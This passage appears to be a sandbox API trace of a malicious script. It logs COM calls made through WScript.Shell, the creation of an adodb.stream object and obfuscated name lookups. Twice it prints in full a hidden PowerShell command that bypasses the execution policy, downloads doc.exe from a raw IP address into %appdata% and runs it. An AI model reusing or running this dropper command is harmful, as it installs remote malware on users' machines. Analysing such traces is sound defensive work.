riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154a6c | out: ppvObject=0x154a6c*=0x0) returned 0x80004002 [0088.002] WshShell:IDispatch:GetIDsOfNames (in: This=0x86bff10, riid=0x6689190c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0x154a70*="run", cNames=0x1, lcid=0x409, rgDispId=0x154a88 | out: rgDispId=0x154a88*=1000) returned 0x0 [0088.013] WshShell:IUnknown:AddRef (This=0x86bff10) returned 0x2 [0088.013] WshShell:IUnknown:QueryInterface (in: This=0x86bff10, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154a74 | out: ppvObject=0x154a74*=0x0) returned 0x80004002 [0088.014] WshShell:IDispatch:Invoke (in: This=0x86bff10, dispIdMember=1000, riid=0x6689190c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x1, pDispParams=0x154a40*(rgvarg=([0]=0x83d6738*(varType=0xb, wReserved1=0x15, wReserved2=0x42c4, wReserved3=0x15, varVal1=0x6d00000, varVal2=0x83da080), [1]=0x83d6748*(varType=0x2, wReserved1=0x15, wReserved2=0x6788, wReserved3=0x83d, varVal1=0x6d00000, varVal2=0x8791454), [2]=0x83d6758*(varType=0x400c, wReserved1=0x6690, wReserved2=0x77ac, wReserved3=0x119, varVal1=0x87920b0*(varType=0x8, wReserved1=0x11c, wReserved2=0x4, wReserved3=0x0, varVal1="PowerShell -NoP -sta -NonI -W Hidden -ExecutionPolicy bypass -NoLogo -command \"(New-Object System.Net.WebClient).DownloadFile('httP://13.92.100.208/doc/doc.exe','%appdata%\\doc.exe');Start-Process '%appdata%\\doc.exe'\"", varVal2=0x6e8), varVal2=0x66894211)), rgdispidNamedArgs=0x0, cArgs=0x3, cNamedArgs=0x0), pVarResult=0x0, pExcepInfo=0x154a1c, puArgErr=0x154a60 | out: pDispParams=0x154a40*(rgvarg=([0]=0x83d6738*(varType=0xb, wReserved1=0x15, wReserved2=0x42c4, wReserved3=0x15, varVal1=0x6d00000, varVal2=0x83da080), [1]=0x83d6748*(varType=0x2, wReserved1=0x15, wReserved2=0x6788, wReserved3=0x83d, varVal1=0x6d00000, varVal2=0x8791454), [2]=0x83d6758*(varType=0x400c, wReserved1=0x6690, wReserved2=0x77ac, wReserved3=0x119, varVal1=0x87920b0*(varType=0x8, wReserved1=0x11c, wReserved2=0x4, wReserved3=0x0, varVal1="PowerShell -NoP -sta -NonI -W Hidden -ExecutionPolicy bypass -NoLogo -command \"(New-Object System.Net.WebClient).DownloadFile('httP://13.92.100.208/doc/doc.exe','%appdata%\\doc.exe');Start-Process '%appdata%\\doc.exe'\"", varVal2=0x6e8), varVal2=0x66894211)), rgdispidNamedArgs=0x0, cArgs=0x3, cNamedArgs=0x0), pVarResult=0x0, pExcepInfo=0x154a1c*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0x154a60*=0x86bff10) returned 0x0 [0088.177] WshShell:IUnknown:Release (This=0x86bff10) returned 0x1 [0088.178] ??2@YAPAXI@Z () returned 0x86bfeb0 [0088.178] malloc (_Size=0x804) returned 0x83fc220 [0088.178] IUnknown:AddRef (This=0x11977a8) returned 0x6 [0088.178] CLSIDFromProgIDEx (in: lpszProgID="adodb.stream", lpclsid=0x1549dc | out: lpclsid=0x1549dc*(Data1=0x566, Data2=0x0, Data3=0x10, Data4=([0]=0x80, [1]=0x0, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x6d, [6]=0x2e, [7]=0xa4))) returned 0x0 [0088.178] SysStringLen (param_1=0x0) returned 0x0 [0088.179] CoGetClassObject (in: rclsid=0x1549dc*(Data1=0x566, Data2=0x0, Data3=0x10, Data4=([0]=0x80, [1]=0x0, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x6d, [6]=0x2e, [7]=0xa4)), dwClsContext=0x15, pvReserved=0x0, riid=0x66894174*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1549cc | out: ppv=0x1549cc*=0x962b2d0) returned 0x0 [0088.179] Stream:IUnknown:QueryInterface (in: This=0x962b2d0, riid=0x668a1100*(Data1=0x342d1ea0, Data2=0xae25, Data3=0x11d1, Data4=([0]=0x89, [1]=0xc5, [2]=0x0, [3]=0x60, [4]=0x8, [5]=0xc3, [6]=0xfb, [7]=0xfc)), ppvObject=0x1549c8 | out: ppvObject=0x1549c8*=0x0) returned 0x80004002 [0088.179] Stream:IClassFactory:CreateInstance (in: This=0x962b2d0, pUnkOuter=0x0, riid=0x668940a0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1549d0 | out: ppvObject=0x1549d0*=0x962b320) returned 0x0 [0088.179] Stream:IUnknown:Release (This=0x962b2d0) returned 0x1 [0088.179] Stream:IUnknown:QueryInterface (in: This=0x962b320, riid=0x668a0580*(Data1=0xfc4801a3, Data2=0x2ba9, Data3=0x11cf, Data4=([0]=0xa2, [1]=0x29, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x3d, [6]=0x73, [7]=0x52)), ppvObject=0x154994 | out: ppvObject=0x154994*=0x962b350) returned 0x0 [0088.179] ??2@YAPAXI@Z () returned 0x1112950 [0088.179] Stream:IObjectWithSite:SetSite (This=0x962b350, pUnkSite=0x1112950) returned 0x0 [0088.179] DOMDocument:IUnknown:QueryInterface (in: This=0x1112950, riid=0x764097c4*(Data1=0x1b, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1548dc | out: ppvObject=0x1548dc*=0x0) returned 0x80004002 [0088.179] DOMDocument:IUnknown:QueryInterface (in: This=0x1112950, riid=0x76413e0c*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1548cc | out: ppvObject=0x1548cc*=0x0) returned 0x80004002 [0088.179] DOMDocument:IUnknown:AddRef (This=0x1112950) returned 0x2 [0088.179] DOMDocument:IUnknown:QueryInterface (in: This=0x1112950, riid=0x66853000*(Data1=0x118, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x15492c | out: ppvObject=0x15492c*=0x0) returned 0x80004002 [0088.180] DOMDocument:IUnknown:QueryInterface (in: This=0x1112950, riid=0x667d1c68*(Data1=0x6d5140c1, Data2=0x7436, Data3=0x11ce, Data4=([0]=0x80, [1]=0x34, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x60, [6]=0x9, [7]=0xfa)), ppvObject=0x154928 | out: ppvObject=0x154928*=0x1112950) returned 0x0 [0088.180] DOMDocument:IServiceProvider:QueryService (in: This=0x1112950, guidService=0x667d1c58*(Data1=0xb722be00, Data2=0x4e68, Data3=0x101b, Data4=([0]=0xa2, [1]=0xbc, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x40, [6]=0x47, [7]=0x70)), riid=0x66852ff0*(Data1=0x332c4425, Data2=0x26cb, Data3=0x11d0, Data4=([0]=0xb4, [1]=0x83, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xd9, [6]=0x1, [7]=0x19)), ppvObject=0x154950 | out: ppvObject=0x154950*=0x0) returned 0x80004002 [0088.180] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd368, riid=0x668940a0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x154904 | out: ppvObject=0x154904*=0x83fd368) returned 0x0 [0088.180] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd368, riid=0x6689ff2c*(Data1=0x6d5140c1, Data2=0x7436, Data3=0x11ce, Data4=([0]=0x80, [1]=0x34, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x60, [6]=0x9, [7]=0xfa)), ppvObject=0x154900 | out: ppvObject=0x154900*=0x83fd378) returned 0x0 [0088.180] VBScriptEngine5:IServiceProvider:QueryService (in: This=0x83fd378, guidService=0x667d1c58*(Data1=0xb722be00, Data2=0x4e68, Data3=0x101b, Data4=([0]=0xa2, [1]=0xbc, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x40, [6]=0x47, [7]=0x70)), riid=0x66852ff0*(Data1=0x332c4425, Data2=0x26cb, Data3=0x11d0, Data4=([0]=0xb4, [1]=0x83, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xd9, [6]=0x1, [7]=0x19)), ppvObject=0x154950 | out: ppvObject=0x154950*=0x0) returned 0x80004002 [0088.180] VBScriptEngine5:IUnknown:Release (This=0x83fd368) returned 0x6 [0088.180] VBScriptEngine5:IUnknown:Release (This=0x83fd378) returned 0x5 [0088.180] DOMDocument:IUnknown:Release (This=0x1112950) returned 0x2 [0088.180] DOMDocument:IUnknown:QueryInterface (in: This=0x1112950, riid=0x667d1c68*(Data1=0x6d5140c1, Data2=0x7436, Data3=0x11ce, Data4=([0]=0x80, [1]=0x34, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x60, [6]=0x9, [7]=0xfa)), ppvObject=0x154930 | out: ppvObject=0x154930*=0x1112950) returned 0x0 [0088.180] DOMDocument:IServiceProvider:QueryService (in: This=0x1112950, guidService=0x668531b0*(Data1=0xfc4801a1, Data2=0x2ba9, Data3=0x11cf, Data4=([0]=0xa2, [1]=0x29, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x3d, [6]=0x73, [7]=0x52)), riid=0x668531b0*(Data1=0xfc4801a1, Data2=0x2ba9, Data3=0x11cf, Data4=([0]=0xa2, [1]=0x29, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x3d, [6]=0x73, [7]=0x52)), ppvObject=0x154924 | out: ppvObject=0x154924*=0x0) returned 0x80004002 [0088.180] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd368, riid=0x668940a0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1548fc | out: ppvObject=0x1548fc*=0x83fd368) returned 0x0 [0088.180] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd368, riid=0x6689ff2c*(Data1=0x6d5140c1, Data2=0x7436, Data3=0x11ce, Data4=([0]=0x80, [1]=0x34, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x60, [6]=0x9, [7]=0xfa)), ppvObject=0x1548f8 | out: ppvObject=0x1548f8*=0x83fd378) returned 0x0 [0088.180] VBScriptEngine5:IServiceProvider:QueryService (in: This=0x83fd378, guidService=0x668531b0*(Data1=0xfc4801a1, Data2=0x2ba9, Data3=0x11cf, Data4=([0]=0xa2, [1]=0x29, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x3d, [6]=0x73, [7]=0x52)), riid=0x668531b0*(Data1=0xfc4801a1, Data2=0x2ba9, Data3=0x11cf, Data4=([0]=0xa2, [1]=0x29, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x3d, [6]=0x73, [7]=0x52)), ppvObject=0x154924 | out: ppvObject=0x154924*=0x0) returned 0x80004002 [0088.180] VBScriptEngine5:IUnknown:Release (This=0x83fd368) returned 0x6 [0088.180] VBScriptEngine5:IUnknown:Release (This=0x83fd378) returned 0x5 [0088.181] DOMDocument:IUnknown:Release (This=0x1112950) returned 0x2 [0088.181] Stream:IUnknown:Release (This=0x962b350) returned 0x1 [0088.181] Stream:IUnknown:QueryInterface (in: This=0x962b320, riid=0x66894140*(Data1=0x20400, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x154984 | out: ppvObject=0x154984*=0x962b320) returned 0x0 [0088.181] Stream:IUnknown:AddRef (This=0x962b320) returned 0x3 [0088.181] Stream:IUnknown:Release (This=0x962b320) returned 0x2 [0088.181] Stream:IUnknown:Release (This=0x962b320) returned 0x1 [0088.181] Stream:IUnknown:AddRef (This=0x962b320) returned 0x2 [0088.181] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154c94 | out: ppvObject=0x154c94*=0x11977a8) returned 0x0 [0088.181] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="aa", grfdex=0x8, pid=0x154cb0 | out: pid=0x154cb0*=1395980) returned 0x80020006 [0088.182] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="aa", grfdex=0x8, pid=0x154c08 | out: pid=0x154c08*=-1) returned 0x80020006 [0088.182] GetCurrentThreadId () returned 0xd44 [0088.182] IUnknown:Release (This=0x11977a8) returned 0x5 [0088.182] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154ce8 | out: ppvObject=0x154ce8*=0x11977a8) returned 0x0 [0088.183] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="bb", grfdex=0x8, pid=0x154d04 | out: pid=0x154d04*=1396064) returned 0x80020006 [0088.183] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="bb", grfdex=0x8, pid=0x154c5c | out: pid=0x154c5c*=-1) returned 0x80020006 [0088.183] GetCurrentThreadId () returned 0xd44 [0088.183] IUnknown:Release (This=0x11977a8) returned 0x5 [0088.183] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154c94 | out: ppvObject=0x154c94*=0x11977a8) returned 0x0 [0088.183] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="helloworld", grfdex=0x8, pid=0x154cb0 | out: pid=0x154cb0*=1395980) returned 0x80020006 [0088.183] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="helloworld", grfdex=0x8, pid=0x154c08 | out: pid=0x154c08*=-1) returned 0x80020006 [0088.183] GetCurrentThreadId () returned 0xd44 [0088.184] IUnknown:Release (This=0x11977a8) returned 0x5 [0088.184] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154c94 | out: ppvObject=0x154c94*=0x11977a8) returned 0x0 [0088.184] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="ssdss", grfdex=0x8, pid=0x154cb0 | out: pid=0x154cb0*=1395980) returned 0x80020006 [0088.184] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="ssdss", grfdex=0x8, pid=0x154c08 | out: pid=0x154c08*=-1) returned 0x80020006 [0088.184] GetCurrentThreadId () returned 0xd44 [0088.184] IUnknown:Release (This=0x11977a8) returned 0x5 [0088.184] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154c94 | out: ppvObject=0x154c94*=0x11977a8) returned 0x0 [0088.185] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="aa2", grfdex=0x8, pid=0x154cb0 | out: pid=0x154cb0*=1395980) returned 0x80020006 [0088.185] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="aa2", grfdex=0x8, pid=0x154c08 | out: pid=0x154c08*=-1) returned 0x80020006 [0088.185] GetCurrentThreadId () returned 0xd44 [0088.185] IUnknown:Release (This=0x11977a8) returned 0x5 [0088.185] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154c94 | out: ppvObject=0x154c94*=0x11977a8) returned 0x0 [0088.186] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="ee", grfdex=0x8, pid=0x154cb0 | out: pid=0x154cb0*=1395980) returned 0x80020006 [0088.186] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="ee", grfdex=0x8, pid=0x154c08 | out: pid=0x154c08*=-1) returned 0x80020006 [0088.186] GetCurrentThreadId () returned 0xd44 [0088.186] IUnknown:Release (This=0x11977a8) returned 0x5 [0088.186] ??2@YAPAXI@Z () returned 0x86bfeb0 [0088.186] malloc (_Size=0x804) returned 0x83fc220 [0088.186] IUnknown:AddRef (This=0x11977a8) returned 0x6 [0088.186] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x1549a8 | out: ppvObject=0x1549a8*=0x11977a8) returned 0x0 [0088.187] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="fghfgh", grfdex=0x8, pid=0x1549c4 | out: pid=0x1549c4*=1395232) returned 0x80020006 [0088.187] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="fghfgh", grfdex=0x8, pid=0x15491c | out: pid=0x15491c*=-1) returned 0x80020006 [0088.187] GetCurrentThreadId () returned 0xd44 [0088.188] IUnknown:Release (This=0x11977a8) returned 0x6 [0088.188] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154c94 | out: ppvObject=0x154c94*=0x11977a8) returned 0x0 [0088.188] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="byeworld", grfdex=0x8, pid=0x154cb0 | out: pid=0x154cb0*=1395980) returned 0x80020006 [0088.188] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="byeworld", grfdex=0x8, pid=0x154c08 | out: pid=0x154c08*=-1) returned 0x80020006 [0088.189] GetCurrentThreadId () returned 0xd44 [0088.189] IUnknown:Release (This=0x11977a8) returned 0x5 [0088.189] GetCurrentThreadId () returned 0xd44 [0088.189] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154d1c | out: ppvObject=0x154d1c*=0x11977a8) returned 0x0 [0088.190] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="INTERNAL_COMMON", grfdex=0x8, pid=0x154d38 | out: pid=0x154d38*=1396256) returned 0x80020006 [0088.190] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="INTERNAL_COMMON", grfdex=0x8, pid=0x154c90 | out: pid=0x154c90*=-1) returned 0x80020006 [0088.190] GetCurrentThreadId () returned 0xd44 [0088.190] IUnknown:Release (This=0x11977a8) returned 0x5 [0088.190] GetCurrentThreadId () returned 0xd44 [0088.190] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154d1c | out: ppvObject=0x154d1c*=0x11977a8) returned 0x0 [0088.190] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="INTERNAL_CMD_EXE", grfdex=0x8, pid=0x154d38 | out: pid=0x154d38*=1396256) returned 0x80020006 [0088.190] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="INTERNAL_CMD_EXE", grfdex=0x8, pid=0x154c90 | out: pid=0x154c90*=-1) returned 0x80020006 [0088.190] GetCurrentThreadId () returned 0xd44 [0088.190] IUnknown:Release (This=0x11977a8) returned 0x5 [0088.190] GetCurrentThreadId () returned 0xd44 [0088.190] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154d1c | out: ppvObject=0x154d1c*=0x11977a8) returned 0x0 [0088.191] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="INTERNAL_COMMAND_COM", grfdex=0x8, pid=0x154d38 | out: pid=0x154d38*=1396256) returned 0x80020006 [0088.191] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="INTERNAL_COMMAND_COM", grfdex=0x8, pid=0x154c90 | out: pid=0x154c90*=-1) returned 0x80020006 [0088.191] GetCurrentThreadId () returned 0xd44 [0088.191] IUnknown:Release (This=0x11977a8) returned 0x5 [0088.191] DOMDocument:IUnknown:Release (This=0x1112950) returned 0x0 [0088.191] GetCurrentThreadId () returned 0xd44 [0088.191] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154d1c | out: ppvObject=0x154d1c*=0x11977a8) returned 0x0 [0088.191] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="BROWSE", grfdex=0x8, pid=0x154d38 | out: pid=0x154d38*=1396256) returned 0x80020006 [0088.191] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="BROWSE", grfdex=0x8, pid=0x154c90 | out: pid=0x154c90*=-1) returned 0x80020006 [0088.191] GetCurrentThreadId () returned 0xd44 [0088.192] IUnknown:Release (This=0x11977a8) returned 0x5 [0088.192] GetCurrentThreadId () returned 0xd44 [0088.192] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154d1c | out: ppvObject=0x154d1c*=0x11977a8) returned 0x0 [0088.192] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="SEARCH", grfdex=0x8, pid=0x154d38 | out: pid=0x154d38*=1396256) returned 0x80020006 [0088.192] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="SEARCH", grfdex=0x8, pid=0x154c90 | out: pid=0x154c90*=-1) returned 0x80020006 [0088.192] GetCurrentThreadId () returned 0xd44 [0088.192] IUnknown:Release (This=0x11977a8) returned 0x5 [0088.192] GetCurrentThreadId () returned 0xd44 [0088.193] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154d1c | out: ppvObject=0x154d1c*=0x11977a8) returned 0x0 [0088.193] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="VCUEY3T6F78", grfdex=0x8, pid=0x154d38 | out: pid=0x154d38*=1396256) returned 0x80020006 [0088.193] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="VCUEY3T6F78", grfdex=0x8, pid=0x154c90 | out: pid=0x154c90*=-1) returned 0x80020006 [0088.193] GetCurrentThreadId () returned 0xd44 [0088.193] IUnknown:Release (This=0x11977a8) returned 0x5 [0088.193] GetCurrentThreadId () returned 0xd44 [0088.193] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154d1c | out: ppvObject=0x154d1c*=0x11977a8) returned 0x0 [0088.193] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="TANGUANY", grfdex=0x8, pid=0x154d38 | out: pid=0x154d38*=1396256) returned 0x80020006 [0088.193] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="TANGUANY", grfdex=0x8, pid=0x154c90 | out: pid=0x154c90*=-1) returned 0x80020006 [0088.194] GetCurrentThreadId () returned 0xd44 [0088.194] IUnknown:Release (This=0x11977a8) returned 0x5 [0088.194] GetCurrentThreadId () returned 0xd44 [0088.194] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154d1c | out: ppvObject=0x154d1c*=0x11977a8) returned 0x0 [0088.194] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="SEARCHTRUE", grfdex=0x8, pid=0x154d38 | out: pid=0x154d38*=1396256) returned 0x80020006 [0088.194] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="SEARCHTRUE", grfdex=0x8, pid=0x154c90 | out: pid=0x154c90*=-1) returned 0x80020006 [0088.194] GetCurrentThreadId () returned 0xd44 [0088.194] IUnknown:Release (This=0x11977a8) returned 0x5 [0088.194] GetCurrentThreadId () returned 0xd44 [0088.194] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154d1c | out: ppvObject=0x154d1c*=0x11977a8) returned 0x0 [0088.262] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="RUNMETHROUGH", grfdex=0x8, pid=0x154d38 | out: pid=0x154d38*=1396256) returned 0x80020006 [0088.262] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="RUNMETHROUGH", grfdex=0x8, pid=0x154c90 | out: pid=0x154c90*=-1) returned 0x80020006 [0088.262] GetCurrentThreadId () returned 0xd44 [0088.262] IUnknown:Release (This=0x11977a8) returned 0x5 [0088.262] GetCurrentThreadId () returned 0xd44 [0088.262] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154d1c | out: ppvObject=0x154d1c*=0x11977a8) returned 0x0 [0088.263] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="FORWARD", grfdex=0x8, pid=0x154d38 | out: pid=0x154d38*=1396256) returned 0x80020006 [0088.263] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="FORWARD", grfdex=0x8, pid=0x154c90 | out: pid=0x154c90*=-1) returned 0x80020006 [0088.263] GetCurrentThreadId () returned 0xd44 [0088.263] IUnknown:Release (This=0x11977a8) returned 0x5 [0088.263] GetCurrentThreadId () returned 0xd44 [0088.263] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, 